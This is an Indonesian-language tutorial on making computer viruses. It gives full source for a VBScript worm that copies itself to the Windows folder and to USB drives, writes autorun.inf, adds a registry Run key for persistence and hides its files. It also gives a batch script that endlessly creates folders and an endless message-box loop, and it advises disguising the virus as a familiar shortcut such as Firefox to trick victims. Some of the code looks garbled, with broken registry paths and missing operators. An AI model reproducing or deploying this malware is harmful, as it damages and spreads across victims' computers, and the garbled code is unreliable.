Cara Membuat Virus VBS

1. Buka Notepad

2. Copy dan Paste script Berikut:

------------------------------Script------------------------------
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "MS32DLL.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path "A:" then
set tf=fs.getfile(flashdrive.path &"MS32DLL.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMS32DLL",winpath&"MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainWindow Title","Hacked by Zeke Hack"
rg.regwrite "HKCRvbsfileDefaultIcon","shell32.dll,2"
if check 1 then
Wscript.sleep 200000
end if
loop while check1
set sd = createobject("Wscript.shell")
sd.run winpath&"explorer.exe /e,/select, "&Wscript.ScriptFullname
---------------------------akhir skript---------------------------

3. Save as, ubah save as type menjadi "all files", simpan dengan format ".vbs", misal Hx.vbs.

Virus ini dapat menggandakan sendiri pada semua Direktori termasuk Flash Disk.

-Virus yang Membuat Ribuan Folder Secara Otomatis
1. Buka Notepad

2. Copy dan Paste script Berikut:

------------------------------Script------------------------------
@echo off
:top
md %random%
goto top
---------------------------akhir script---------------------------

3. Save as, ubah save as type menjadi "all files", simpan dengan format ".bat", misal Hx.bat.

Untuk mengelabui korban buatlah shortcut yang familiar seperti firefox lalu ubah target shortcut menjadi letak file virus tersebut.
-Membuat Virus Berupa Pesan (Messege Box)
1.buka notepad
2masukkan
----------------------------------Script Virus--------------------------------
do
msgbox"komputer anda terkena serangan kami",vbokonly+vbinformation,"hxhacker"
loop
---------------------------------Akhir Script----------------------------------